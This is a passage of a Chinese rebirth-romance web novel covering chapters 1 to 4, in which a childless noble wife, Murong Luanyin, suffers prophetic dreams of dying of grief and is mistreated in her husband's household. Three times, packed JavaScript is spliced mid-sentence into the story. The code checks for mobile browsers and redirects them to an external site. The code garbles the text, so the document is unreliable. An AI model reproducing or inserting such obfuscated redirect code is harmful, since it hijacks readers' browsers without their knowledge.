《高嫁后想和离(重生)》 1. 第001章 邪性的梦 话说大魏朝有个郧国公,嫡长子早逝,至长盛四年,用尽心血培养的嫡长孙萧远峥,皇帝亲点,由顺天府尹调任大理寺卿与刑部尚书、都御史联合会审一宗牵扯甚广的贪污大案。 萧远峥,年方二十四,生得瑰姿俊伟,文武兼长,乃是京中名望远扬的实权人物,更有人断言,这是老皇帝给太子培养的王佐之才,这般人物,公主贵女哪个配不得,偏偏娶的是一介末等太医之女慕容氏。 坊间传言,这桩天差地别的婚姻之所以能成,乃是因为郧国公府世子夫人慕容氏的祖母清河县主以死相逼,清河县主是老郧国公的同胞妹妹,老国公一时心软就答应了。 人道是齐大非偶,不知何故,成婚已有三载,慕容氏肚子不争气,至今没开怀,故此慕容氏在郧国公府内虽主持中馈,却是战战兢兢,如履薄冰,近日来更是频频梦魇。 这夜,已是萧远峥眠宿官署查案不归的第三夜,慕容鸾音于睡梦中,泪流满面,又陷梦魇,不可自拔。 ——黄昏,细雪纷纷,白梅盛放。 郧国公府,瑞雪堂,门上挂着靛蓝的素棉帘子,茯苓从外头急奔而回,至廊檐下,与掀帘子出来的碧荷撞在了一起。 碧荷一把攥紧茯苓的手臂,嘶哑着声音质问,“怎么只你一个回来了,国公爷呢?” 茯苓压着哭腔道:“观棋不在,南柯那狗东西一问三不知,还说咱们谎报军情,一而再再而三,总也死不了,说完把门一关凭我怎么敲都装聋子,我只能回来。血、血止住了吗?” 碧荷红肿着眼,恨的咬牙,轻一摇头就道:“夫人的旧衣裳都是你拾掇的,去找一身夫人做姑娘时穿过的红衣裳来,还有,把香炉翻出来,夫人要点香,什么香都行,要快。” 茯苓一愣,悲从中来,“我找找吧。” 二人一前一后疾步进屋。 茯苓推开一道小门往后面存放箱笼旧物的后罩房去了,碧荷拨开白纱帐走到床前,便见冬葵跪在脚踏上,脸色煞白,见碧荷回来了,掀起浅青色被褥一角,无声哭泣。 碧荷一瞧,便见一刻钟前才铺下的厚厚一块夹棉褥子又染红了。 慕容鸾音躺在绣被里,面色萎黄,唇瓣灰白,只一双眼睛努力大睁着,露着一丝渴盼的光。 碧荷心口闷痛,连忙上前,跪在脚踏上,强笑着安慰道:“夫人再等等,国公爷被陛下留宿宫中商议国家大事,明儿一早就回来了。” 慕容鸾音眼睛里的光暗淡下去,两行泪自眼角滑落,没入耳后青丝,轻喃低语,“他还是不肯见我……是我的错,是我亲手害死了那么疼爱我的老公爷。” 碧荷终是忍不住哭了出来,“怎么能是夫人的错,倘若夫人知道那碗莲子羹里被人下了毒,宁可自己吃了,分明是国公爷心狠,若换成是洛姑娘,国公爷只有心疼的!” 就在这时,一个七八岁大的男孩,挑着一盏大红绣球灯走了进来,板着小脸望着床榻上蓬头垢面的慕容鸾音,露出厌恶神色,“你怎么还没死?” 慕容鸾音瞧见他进来,正挣扎着坐起来,闻听此话,瞳孔骤缩,耳中轰鸣,眼前一片模糊,颤声问,“宝哥儿,你说什么?” “她们说,等你一死,父亲就能娶洛姨了,有情人终成眷属,我要洛姨做我娘。” 话音落地,扔下绣球灯,一溜烟就跑了出去。 茯苓抱着一个匣子回来,正听见这话,怒红双眼。 慕容鸾音软倒在碧荷身上,清晰的感觉到身体里的血液凝滞,连呼吸的力气都没有了。 过了好一会儿,慕容鸾音才积攒出开口的力气,眼神空洞的盯着地上的大红绣球灯,“原本我还想着,为了我的孩子们,也要强撑着多活一日是一日……” 慕容鸾音轻轻合眼,泪落如雨,颤声低语,“外头都挂上大红灯笼了吧,好啊,真好。” 碧荷哽咽不答,抱紧慕容鸾音越来越冷的身子,带着哭腔道:“姑娘再等等吧,明儿一早国公爷回来,奴婢跪死在静园门口也要把人请过来,总要让姑娘了了心愿才是。” 茯苓把找出来的匣子放在床沿上,自己跪在脚踏上低头哭道:“夫人,奴婢没找到红衣裳,只在旧板箱里找出一套炉瓶三事。” 说着话,打开匣子,把里头的香炉、香盒、箸瓶一一摆了出来。 当香盒打开时,露出了三枚“心”字形香块,茯苓本想拿出来放在香炉里点上,谁知手一碰就碎了,原是存放的久了,朽烂了。 慕容鸾音颤抖着捏起一撮朽灰,嘴角抽动扯出一痕惨笑,两耳中猛烈响起尖锐蜂鸣,曾经父亲、哥哥、自己说过的话,像针扎一样在脑海中翻滚浮现。 “本是红山茶,你刮皮削骨把自己涂成白的冒充白梅花,去乞求那个冷血无情之人的爱,结果呢,你得到他的爱了吗?旁人都知道事不可为往回收,偏偏你与人不同,赔出命去才罢!我慕容韫玉怎么会有你这样撞在南墙上头破血流都不回头的蠢妹妹!气煞我也,萧贼该死!” “萧远峥虽是人中龙凤,可齐大非偶,我不赞成阿音嫁进郧国公府。再者说,阿音继承了咱们慕容家祖传的学医天赋,她那一双手,一双眼,不继承针灸之术可惜了。还是在同等人家里择选一个品行兼优的,不忌讳她行医的,才是良配。” 慕容鸾音捏不住那一撮朽烂的香灰,就撒开了手,任由香灰簌簌落进匣子里,匣子底部铺着一块金针布包,这么多年过去了,金针完好如初,闪亮如新,而她自己却变得面目全非。 “爹爹,我才不做医匠呢,那是伺候人的贱业,我祖母是清河县主,祖父是状元郎,舅外祖父是郧国公,我难道就不算千金贵女了,如何就配不得峥哥哥?我听祖母的安排。将来呀,咱们慕容家还得我这郧国公府世子夫人罩着呢。” 慕容鸾音一口血呕了出来,耳鸣声戛然而止,郁悔而终—— 睡在窗下炕床上值夜的碧荷听见上气不接下气的哭泣声,连忙起身点灯,顾不得披袄,擎着灯,靸着鞋,快步走进暖阁,拨开床帘子一瞧,就见慕容鸾音侧身躺着,蜷缩在绣被里,哭的两眼红肿。 “我的祖宗,这是又做噩梦了不成?”碧荷把水仙灯放在床头柜上,就起身去倒茶。 慕容鸾音捂着心口坐起来,就着碧荷的手喝干一杯茶,抽噎了一会儿,镇定了少许才开口道:“还是那个梦,接上昨夜的了,梦里我呕出一口血死了,醒来就觉悔恨的心口疼。” 碧荷把茶杯放下,坐在床沿上,递上一张干净锦帕就叹气道:“日有所思夜有所梦,姑娘是在这府里受了大委屈了,嘴里不好说出来,就在梦里哭出来。事到如今,奴婢也没法儿,只能劝姑娘想开些。” 慕容鸾音擦干净眼泪,望着灯火愣一会儿神,道:“我这梦也是奇了,一段一段的,都还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344495|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能接得上,尤其今夜的梦,梦醒了那股子悔恨的疼痛还绵延在心上,仿佛真的发生过一样。” 碧荷细细打量一会儿慕容鸾音的神色,见实在憔悴不堪,就劝道:“姑娘总是梦魇,想来是有些心脾两虚,肝郁气堵的症候,不若寻个由头回咱们家去,请老爷诊诊脉,喝两副药调理调理?” 慕容鸾音叹气道:“我自己诊断着也是这个症候,又岂敢到爹爹跟前去,让他瞧出来少不得一顿讥笑,定是要说我自作自受。” 想到三年前,出嫁前夕与父亲闹的那些不愉快,慕容鸾音羞愧的滴下泪来。 这时,外头隐隐传来梆子声,碧荷细听了听就道:“四更天了,姑娘再睡会儿吧,明日一早还要到上房请安,晚一点又要看人家的脸色。” 慕容鸾音抿抿唇,躺下了,“你也去吧。” 碧荷把帘子放下,掖紧,走回到炕上,打个哈欠,不敢睡实,侧身轻躺下了。 慕容鸾音心上缠绵着悔恨的痛意,翻来覆去睡不着,思量着自己怎么会沦落到那个境地呢?只觉得这梦透着邪性,让她畏惧。 到底是睁眼到晨光熹微时。 在屋里服侍的大丫头们都起来了,碧荷自去耳房稍歇,换了茯苓冬青带着小丫头们进来服侍。 洗漱过后,慕容鸾音坐在菱花镜前匀面,冬葵就一条胳膊上搭一件大袖衫来问,“夫人,今日是穿这件荼白色银丝刺绣冰裂梅花纹的,还是这件雪白色折枝红梅纹的?” 慕容鸾音心头一梗,转头望着那两件大袖衫上的梅花纹,捏着梳子的手指渐渐泛白。 “笨丫头,难道忘了今儿是什么日子?”秋雁打着哈欠进来,戏谑道:“今儿可是初一。世子爷喜欢梅花,尤爱白梅,当然是选这件银丝白梅纹的,这还用问嘛,真真笨死了。” 说着话取下银丝白梅大袖衫扔到暖阁床上,又自顾自去衣柜里找出一条月白云锦裙也扔过去,笑着走到慕容鸾音身后,“这样搭配少夫人可满意?” 慕容鸾音情不自禁的脸红起来,由着秋雁按照素日的习惯,给她梳起了随云髻,簪上了一套白玉花钗,戴上了一对水滴形羊脂玉耳坠。 她望着妆成之后,铜镜里苍白素雅的自己,控制不住的想,常言道梦都是反的,怎能当真。今夜峥哥哥会到她房里来行夫妻敦伦之事,那般清俊郎艳,智慧无双的人物,看得见摸得着,才是真实的,她可不能被梦境扰乱了心神。 这时窗外传来一阵铁器划拉地砖的刺耳响动,随即就听见冬青带着怒气的说话声,“周大娘,这一大早的就带着铲子锄头锯子的到我们瑞雪堂来,是作甚?!” “冬青姑娘贵人多忘事,昨日午后,不是你们院里的小丫头蕊儿到我们花草房传话,嫌院子里的山茶花不好,让刨了去改种白梅嘛,我是一刻也不敢耽误,一大早饭也顾不上吃就来了,我这是拍马屁拍到马蹄子上了?” 冬青一顿,怒意散了,想起昨日让蕊儿拿去给她的一包银子,哭笑不得,“那也不该一大清早就过来,你这一阵丁铃当啷的,主子还睡不睡?” 周大娘连忙赔笑道:“都知道咱们世子夫人起的早着呢,晨昏定省,礼数周全。” “周大娘。”慕容鸾音走下石阶,步步走向那株一丈多高的老山茶树,“改种白梅的事儿先缓缓,容我再想想。” 周大娘的脸色“唰”的一下子白了。 2. 第002章 敲不开的门 周大娘的脸色“唰”的一下子白了,哆嗦着嘴唇道:“世子夫人、世子夫人说迟了,已经打发人出去买了,您给的那包银子分派干净了。” 慕容鸾音盯着周大娘苍白惊惶的脸,笑道:“你莫慌,昨日蕊儿回来告诉我,瞧见你坐在花坛子上淌眼抹泪,我让她们下去问了,知道你小儿子生了病,正是需要钱的时候,那包银子就是给你应急的。” 周大娘喜极而泣,诚心的跪下磕头,慕容鸾音亲自把她搀扶起来,温声道:“我这里无事了,你忙去吧。” 打发走了周大娘,慕容鸾音就立在山茶花树下,望着树出神。 这是一棵有年头的山茶花树,栽种在庭前,正对着西暖阁的窗户,一丈多高,花开红艳,到了冬日,雪的白与花的红,交相辉映,意趣盎然。 她不喜欢白梅,雪来时就不见花了,哪里比得上红梅、黄腊梅,色彩映照时浓烈鲜妍,大饱眼福。 她昨日为什么要指派蕊儿拿着银子给花草房,让他们刨了去,改种白梅呢?因为成亲三载,她未能孕育子嗣,上房的老太太催逼了;因为成亲三载,她的夫君、她自幼爱慕着的峥哥哥每月只在初一十五两日肯与她同房,若无必要从不踏足她居住的瑞雪堂,她就想着,许是庭前的红山茶惹了他不喜,就想改种他喜欢的白梅,巴望着,把瑞雪堂装饰成他喜欢的样子,也许他就愿意多来几趟了呢? 想着昨夜梦境里瑞雪堂前盛放的白梅,与今日之事正好对上了。 慕容鸾音不由得心脏狂跳数下,所以,即便她刨了山茶花,种了白梅,依旧无用,是吗? 思绪纷乱间,日头就晒到了树顶,起了个大早,到上房请安的时辰还是耽误了。 待得慕容鸾音带着茯苓秋雁匆匆来到福寿堂,便见观棋南柯正候在廊檐下,观棋站在窗前默然听候,南柯躲在廊柱后正与两个侍女低声说话。 慕容鸾音心头一喜,既然他两个在这里,峥哥哥必然是回来了,想必正在堂上与老夫人说话。 这时茯苓脸色微变,一把扯住慕容鸾音的袖子,急声低语,“夫人,你瞧和南柯说话的那两个,是繁霜和墨痕,是、是洛姑娘身边的心腹丫头。” 正提起裙摆,拾阶而上的慕容鸾音身子一僵,转头望去,正与转过身来的繁霜墨痕二人目光对上,此二人一副皮笑肉不笑的模样,端端正正福身行礼,让人揪不出一点错处。 秋雁见了她们却是热泪盈眶的奔了过去,抱成一团,哭哭笑笑。 茯苓气在心里,沉下了脸。 她回来了?! 慕容鸾音顿时局促起来,低头扯弄自己的裙子,只觉得浑身难受,脸烧得慌。 这时老夫人身边的大丫头喜平走了出来,传老夫人的话,让慕容鸾音进去。 慕容鸾音深吸一口气,扯出一抹得体的笑,昂首而入。 福寿堂上,清一色紫檀木描金家具,富丽堂皇。 彼时,正堂下摆着的三面屏大榻上坐着三个人,中间是个头戴一年景点翠花冠的老妇人,只见她泪流满面,左手攥着一个雅丽少妇的手,右手攥着一个剑眉星目男子的手。 老妇人,是郧国公夫人罗氏,洛淑仪的亲外祖母。 雅丽少妇,正是自幼被罗氏接到身边教养的洛淑仪,一身书卷气,穿一袭杏白色银丝刺绣折枝梅花裹胸裙,头戴着一朵不起眼的白花,身姿袅娜,楚楚堪怜。 而右边那位坐在那里比那一老一少高出一个半头的男子,正是这国公府的世子,新任大理寺卿,她慕容鸾音的夫君萧远峥。 当看着老夫人罗氏,攥着二人的手,上下交叠,让他们表兄妹紧紧握在一起时,慕容鸾音绷紧的心弦一霎断了,疾步上前,福身一礼,微扬声调,“请老夫人安。” 萧远峥抽回自己的手,起身道:“既如此,祖母按自己的意思安排便是。孙儿先回静园,沐浴更衣后再来给祖母请安。” 罗氏没好气的瞪一眼慕容鸾音,转脸就面上带笑的望着萧远峥,“你累了就去歇着,晚饭时再过来,我要为你表妹专门开个小接风宴,你一定要来,若是顾忌着这个那个,避嫌不来,我就亲自去请你,你若忍心让我的老胳膊老腿去爬你门口的那廊道,你就不来。” “祖母相请,岂敢不来。” 萧远峥躬身一揖,退步转身而去。 慕容鸾音的目光自进门就紧紧追随着他,见他双眼皮变作了三眼皮,便知道他确实是累着了,便把心里的猜疑按下。 罗氏面带不喜,心里厌恶,立时便道:“你那好祖母口口声声说,你是她自幼教养长大的,那你这当着长辈的面儿,一双狐媚眼就黏黏糊糊粘在男人身上的礼数也是她教导的了?” 慕容鸾音心头一刺,蓦的抬眸望向罗氏,但见罗氏横眉冷眼,一副准备狠狠叱骂她一顿的模样。 慕容鸾音心知,倘若自己回嘴,只会吃更大的亏,谁叫她是长辈,国公府的规矩,不敬长辈,有鞭笞之刑,媳妇辈与长辈顶嘴对舌,罚跪祠堂,三日不许食。 嫁进国公府三载,祠堂她跪过了,挨饿也挨了好几回。 想到过去经历过的,膝盖已是隐隐作痛。 慕容鸾音缓缓低头,福身请罪,低眉垂眼时,泪水滴落,砸在猩红的五福捧寿地毯上。 罗氏知她已是学乖了,发作不得,就冷冷道:“我这左手边坐着的你难道不认识?怎么不叫人?” 慕容鸾音抬头看向洛淑仪,见她头上戴着白花,正用冷津津的目光死盯着她,一副视她如敌的模样,心里顿生恐惧。 ——怎么又与梦境对上了! “洛、洛表姐头上戴着小白花是什么意思?” 罗氏抬手怒指慕容鸾音的面门,“可见你本性就是个霸道可恶的东西,出口就直戳别人的心窝子!” 洛淑仪顺势捂脸,悲戚的哭起来。 慕容鸾音惊慌失措,张口想解释,“我不是……” “休要狡辩,老公爷吃你那一套我不吃!你只需要知道,淑仪经历的一切苦难都是你造成的,我还让淑仪住在绛仙阁,从今往后淑仪不会再离开我身边。”罗氏一把搂抱住泪水涟涟的洛淑仪,哭道:“我可怜的儿啊,从今往后,外祖母再不容许任何人欺你无母!” “没脸没皮不知羞耻的东西,今儿晚膳你敢踏入福寿堂半步,你试试,滚出去!” 慕容鸾音哪里还站得住,带着一肚子委屈和愤怒,逃出福寿堂后就直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344496|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奔静园,可幸,在通往静园必须经过的爬山廊半腰处截住了萧远峥。 慕容鸾音气喘吁吁,胸膛剧烈起伏,两手张开拦在前头,水杏眼里憋着两包泪,“你累了,你究竟是查案子累的还是马不停蹄,日夜兼程去接人累的!明面上我是主持中馈的当家世子夫人,可谁家的当家夫人似我一般,亲戚坐到堂上了,我才知道!秉着孝心礼教一大早去请安,冷不丁就吃一顿辱骂,全府上下把我蒙在鼓里头当个傻子看,是吗?!” 萧远峥听她这噼里啪啦一通话,只觉吵得脑仁疼,但见她描画的苍白的小脸因怒气而晕红,水杏眼因怒意而如细笔勾勒出了一圈红眼线似的,就揉按了两下太阳穴,垂眼盯着她,清声道:“说完了吗?” 他的声音清冷淡然,不因身体的疲累而厌烦,更不因慕容鸾音的误会而生恼。 慕容鸾音见他如此反应,衬托的自己像是无理取闹一般,顿觉羞惭,无力的垂下头,“说、说完了。” “洛表妹是祖母指派三叔父接回来的,我也才知道,除了三叔父那院里的人,在洛表妹进府之前,府内上下知道的应该不多。事已至此,多说无益。” 话落,绕过慕容鸾音,径自走了。 什么叫“事已至此,多说无益”?! 慕容鸾音呆愣在那里,心里把这句话反复琢磨了许久,忽然想起今日是初一,就又追到静园门口,彼时静园的门刚刚关上,门旁卧佛石榻上斜躺着个络腮胡大汉,正在啃食红烧鸡腿,腰间捆着乌黑的蹀躞带,左侧挂着个黑红色的皮口袋,露着一排六只飞刀的刀柄,他名叫赵荆,萧远峥的车夫,也是萧远峥在宛平做县令时收服的护卫。 赵荆吐出一块鸡骨头,笑嘻嘻提醒,“世子夫人止步请回。” 慕容鸾音一路小跑追到这里,已是累的不轻,此处唯有卧佛石榻可坐,慕容鸾音瞪着赵荆径直走了过去。 赵荆嘴里叼着鸡腿,一下子跳将起来,大马金刀坐在了门槛上。意思很明确,石榻可以让出来,想越过他进静园的门,休想! 慕容鸾音喘息稍平,瞪着赵荆,忽然想到前些夜里做过的一段梦,梦里她病重垂死,冬青到静园请萧远峥,在门口遇到了另一个护卫阎大忠,冬青莽撞,要强闯进去,被阎大忠一刀把头砍了下来。 她知道,梦都是反的,不能当真,可还是被吓醒了,醒来后抱着冬青,一个劲摸她的脖子。她才知道啊,在赵荆阎大忠这类魁梧壮汉眼中,砍她们这些弱质女流的头,真如砍瓜切菜一般容易。 茯苓见赵荆这般强硬,气的骂道:“狗东西,诅咒你这辈子都娶不到媳妇!” 赵荆嬉笑道:“求之不得,求之不得。” 慕容鸾音怔怔望着静园的这扇黑漆流云垂花门,它在梦境里出现了好多次,没有一次是向她打开的。 忽的,一声虎啸从门内传了出来,吓的她心肝一颤。 这时,冬青找了过来,“夫人,原来你们在这里,要回事的人都在小花厅等齐了,峰二奶奶又来了。” 慕容鸾音连忙站起来,打叠起精神,看着鲜活清秀的冬青笑道:“走,咱们听听峰二奶奶院子里又是什么东西坏了。” 茯苓冬青顿时笑起来。 3. 第003章 生子秘方 瑞雪堂前面,隔着一座汉白玉石九曲桥就是素日里慕容鸾音理事的小花厅。 彼时,花厅廊檐下站满了各处的管事娘子,厅上设屏榻,榻上摆了一张卷云纹紫檀小几,几上隔着一套花神杯茶奁,这会儿,一个年轻妇人正坐在右边,拿出一只石榴花杯子把玩。 只见她生得细长眉,吊梢眼,身段窈窕,秀媚有余清正不足,头戴花草绒花,手腕上两只乌银马蹄镯,外罩一件半旧的月季红缠枝葡萄纹织锦褙子,转眼一瞧慕容鸾音进来了,立时满面带笑的迎上去,福身行礼,“请世子夫人安,世子夫人百事如意,瓜瓞绵延。” 慕容鸾音托起她的手,拉着她一同坐下,笑道:“可巧,临近中秋,府里大事小事,比平日里多出几十件,我正分身乏术,思量着请哪位弟妹过来帮忙,你就撞上来了,我把给各房各院丫头们裁制新衣的差事交给你如何?” 孙香玉乃是二房长子萧远峰之妻,因没分家之故,大排行行二,府内称呼峰二爷,便称她为峰二奶奶。 孙香玉连忙笑着道:“你也说了,临近中秋事多,我们二房那些琐碎的事儿就够我忙的了,哪里抽的开身过来帮你,就比如这会儿我来就是求你借一件东西我使。” 话音落地,孙香玉就偷眼打量慕容鸾音的神色。 彼时,茯苓冬青送了两杯温热的花果甜茶上来,慕容鸾音接在手里喝了一口,这才笑道:“借什么东西,做什么使?” 孙香玉接过甜茶放在小几上,笑道:“明儿我兄弟来家吃酒,想借你的那扇紫檀木嵌八宝玉堂富贵屏风用一用,这屏风花里胡哨的,世子爷定然不喜,你白放在库房里也是吃灰,这等名贵的物件,若无人气滋养,没几年就朽烂了,倒不如给我?” 慕容鸾音心下觉得可笑,面上不显,道:“你冷不丁提起这扇屏风,我才想起来呢,我嫁妆里仿佛是有,可我从没摆出来过,你是怎么知道的?” 孙香玉腆着脸笑道:“你进门的时候,十里红妆,晒嫁妆时,别的我都没在意,只对这屏风,听府里老人说,还是当年给你祖母的陪嫁,用的都是真材实料,原本就是府里的东西,我闲着无事替你算了算,这屏风至少得是几十年的老物件了,我就想着,你素来是个大方的,只要我与你一提,你定是也想着,与其摆在库房里朽烂,倒不如给我拿去摆在厅堂上待客用,您说呢?” 冬青气的攥紧拳头,茯苓上前一步玩笑着道:“上个月初三,您也说是兄弟来家吃酒,没有趁手的饮酒器,问我们夫人借走了一只鎏金嵌宝鸳鸯转心壶,这个月初三,奴婢清点瑞雪堂的陈设,想起这只酒壶来,打发小丫头到你们那里要,您身边的月桂说,酒壶被峰二爷耍酒疯砸了,我们夫人是信了的,后头偶然听见说,峰二爷从来不耍酒疯,醉了倒头就睡,您这又怎么说呢?” 孙香玉面上一阵红一阵青,想着满府里主子,只这一个好糊弄的冤大头,撕破脸只有坏处没有好处,当下就掏出帕子遮脸,哭道:“那原是遮丑的说辞,实则是、是我们夫妻吵架,他恼了,为了降服我,随手抄起一个东西就往地上砸,到了第二日月桂拿着那被砸扁的鸳鸯壶给我瞧,我才知道砸的是您的东西。” 话落,就呜呜的自顾自哭起来。 慕容鸾音听她哭的跟真的一样,心里觉得无奈又无趣,懒的再应付她,就道:“那屏风既是我祖母留给我的嫁妆,也是遗物,我是万万不能出借的,二奶奶若是没有旁的事儿,就回吧。冬青,你去把厨房采买宋大福叫进来。” 孙香玉见慕容鸾音不再理她,准备理事了,心里窃喜,抬起姜汁擦过红红的吊梢眼,怯声道:“世子夫人,我前儿失手摔了一只杯子,待客用的茶具不成套了,很不像样,大库房里若有现存的,给了我,我立马走。” 茯苓上前一步,又想说话,被慕容鸾音抬手按了下去,“你回去吧,一会儿就让我院子里的小丫头给你送去一套。” 孙香玉与慕容鸾音处了三年,早已摸透了她的脾性,是个说到做到的人,就等这一句话呢,立时福身一礼,笑盈盈的走了。 茯苓气道:“依着府里的规矩,只要她院里的人拿着杯子碎片和其余的杯子送去大库房登账上册,立时就能换取一套崭新的,偏偏她一次又一次跑到您跟前耍小聪明,扮可怜,分明就知道,不是公中补给她的,她就是特特来占便宜的。” “知道。”慕容鸾音翻开账本子,看着今日要处理的大小事情,叹气道:“可她太能缠磨了,我懒怠应付,不若散一点小财打发她,省心,何况她也是个可怜人。” 茯苓噘噘嘴,不说话了。 这时,冬青回来了,没带回宋大富,宋大福的祖母,福寿堂的宋嬷嬷,穿一袭老夫人赏赐的紫色缎地葫芦锦氅衣笑眯眯的走了进来。 慕容鸾音起身,不敢受她的万福礼,冷下神色,淡淡道:“宋嬷嬷所为何来?” 宋嬷嬷连忙笑道:“传老夫人的话,宋大福的事儿她知道了,说,宋大福也是她看着长大的,最是敦厚老实不过的孩子,他不可能以次充好,故意买病鸡回来坑害主子,定是辨识不清被卖鸡的人坑了,罚他三个月月银,还让他负责大厨房的采买,将功补过便是。老夫人又说,宋大福的爷爷是为老公爷舍了命的,宽待些又如何,世子夫人终究是小门小户的出身,难免小题大做,斤斤计较,请您改正。” 慕容鸾音缓缓坐下,虽是心中已有预料,但还是气笑了,拿起毛笔,饱蘸墨汁,就边写边道:“关于大厨房采买管事宋大福贪污一百六十两银子,购买病鸡一事,谨遵老夫人口令,仅仅罚没三个月月银,仍旧令其在原职将功补过。孙媳慕容氏特此遵命谨记。” 宋嬷嬷一张老脸立时皱成菊花样,嫌弃的道:“我男人当年可是舍身挡在老公爷身前的,是忠义两全的有功家臣,世子夫人可是没听懂老夫人话里的意思?” “知道。”慕容鸾音搁下笔,冷淡道:“嬷嬷的这个大孙子宋大福,在府里头的名声可是‘极好的’,我一个挂名的当家夫人可不敢替他背书,自然是,谁替他背书我就老老实实在账本上记下,到将来某一日,因着某一事通通发作出来时,只求不追究到我身上,自保罢了。” 宋嬷嬷当即冷笑起来,“何用将来,世子夫人若有人证物证,都摆出来,若宋大福真是个十恶不赦的,不用世子夫人动手,老奴自己大义灭亲!若世子夫人手头上什么都没有,就空口白牙的污蔑忠义家臣大孙子的清白,老奴就要一五一十的告诉老夫人,请老夫人做主了。” “嬷嬷自去便是,不送了。” 宋嬷嬷见慕容鸾音竟一点不怕,心里想到自己大孙子的德性,有些没底,恭敬行礼后,匆匆离去。 慕容鸾音吐出一口气,翻着账本稍稍放松,很好,今日只有两块硬骨头,其一就是宋大福的事儿,其二就是二房、三房送来的中秋送礼的礼单,礼单上的东西府里有的凑一凑,府里没有的需要到外头买去,要买东西就要银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344497|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,想要银子还需她写成条子送到老夫人那里过目,老夫人盖了花押,她才能拿去银库房支取银子,可十次里有九次,老夫人都嫌耗费太奢给她打回来,她原样告诉二房、三房,两房人才不管那些,只说没分家,一应用度就该公中支取,若是不给,就是她这当家夫人小气吝啬,她是两头受气。 好些回,她为了省心,更为了讨好融入这个大家族,免于冲突,就自己补上差价,三年了,她嫁妆里三万两的压箱底银子竟去了大半。 慕容鸾音看着二房中秋礼单上写的有一尊白玉送子菩萨;三房中秋礼单上写的一瓮沉香香料,禁不住心里发寒。 谁家府里头,中秋节礼包含送子观音的? 一两沉香一两金,张口就是一瓮,是要给皇帝送万寿礼吗?三老爷不过捐了一个六品员外郎的虚衔,给皇帝送万寿礼也轮不到他! 是冲她来的,是吗? 不仅仅一个孙香玉拿她当冤大头,是吗? 慕容鸾音红了眼,滚下热泪来。 可在这理事的小花厅上,也容不得她哭。 彼时,等在外头廊檐下回事的大大小小的管事娘子们等急了,吵嚷起来。 慕容鸾音背过脸擦去眼泪,挺直腰身,冷声呵斥,“外头吵嚷什么,下一个轮到谁了?” 至午后,慕容鸾音见了最后一个管事娘子,本想着吃些东西歇一歇,福寿堂又送来一张条子,让按照上面写的,去开库房找齐东西,天黑前把绛仙阁布置妥帖。 慕容鸾音深吸一口气,叫来秋雁,让她领着人去办。 待得慕容鸾音将将一脚迈进瑞雪堂的院门,福寿堂的双喜又来传话,晚膳老夫人要为表小姐设接风宴,嫌府里的菜色吃腻了,要订外头仙鹤来大酒楼的燕翅席。 慕容鸾音一个趔趄跌坐在门厅里的美人靠上,眼里泪花翻涌,双拳紧握。 茯苓愤然怒瞪双喜,可打狗还要看主人,不得不压着火气道:“你们‘喜’字辈的,可是丫头里面头一份尊贵的,似到外头大酒楼订席面这等露脸的好差事,怎么不自己去?!既要差使我们瑞雪堂的人给福寿堂订燕翅席给表姑娘开接风宴,是老夫人改了主意,大慈大悲乐意我们世子夫人出席陪客了不成?” 双喜偷瞧慕容鸾音一眼,露出同情神色,温声道:“茯苓妹妹,你的话我只当没听见,我也知道你不是恼我,我只是个传话的。” 慕容鸾音蓦的松开手,看看天色已是不早了,平复下情绪立时就指派冬葵骑马外出去订席。 天色终于暗了下来,福寿堂开宴了,慕容鸾音终于得了喘息之机。 午后还觉饿得慌,这会儿看着桌子上的四菜一汤,却只吃得下一个小儿拳头大的玫瑰香小花馒头,半盏肉糜碧丝粥。 慕容鸾音放下筷子,只觉浑身无力,只想躺下睡觉,可今儿是初一,依他那极端规律的习性,是会来履行他为夫之责的。 慕容鸾音就强撑着去洗了个澡,当她坐到铜镜前,望着镜子里模糊不清的自己,情不自禁就落下泪来。 站在慕容鸾音身后,为她擦拭头发的碧荷深知自家姑娘的苦楚,也红了眼睛,低声道:“年头上元宵节,您生辰那天,家里夫人来看望,奴婢瞧见给了您一张生子的秘方,何不用上?您生下子嗣有了底气都会好的。” 慕容鸾音想到萧远峥与她同房的方式,一张泪脸顿时乍红乍白,满心只觉羞耻,惶惑无措的低下头道:“用、用不上。” 4. 第004章 死去一回 今儿是初一,月上柳梢头时,瑞雪堂就静了下来,厅上只留下两盏落地狮子滚绣球灯照亮,卧房里,只在床头柜上有一盏琉璃莲花灯。 慕容鸾音穿着雪缎裹胸裙,散着一头乌发,已是乖顺的躺在绣被里了。 这时冬青掀起门帘,鬼头鬼脑走到床榻前,伏在床沿上就小声道:“姑娘,打听清楚了,表姑娘她夫君死了。” 慕容鸾音激动的翘起头来,“消息可准?” 